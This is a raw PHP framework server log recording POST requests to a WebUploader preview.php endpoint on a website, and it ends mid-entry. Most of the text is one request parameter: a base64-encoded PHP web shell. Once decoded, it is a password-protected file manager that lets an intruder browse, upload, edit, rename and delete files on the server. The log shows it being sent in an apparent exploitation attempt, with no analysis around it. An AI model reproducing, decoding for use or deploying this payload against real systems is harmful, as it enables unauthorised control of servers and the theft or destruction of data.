[文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:21+08:00 ] 116.213.36.234 POST www.51tianwei.com/manage/webuploader/preview.php [运行时间:0.002696s] [吞吐率:370.91req/s] [内存消耗:196.35kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'manage', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 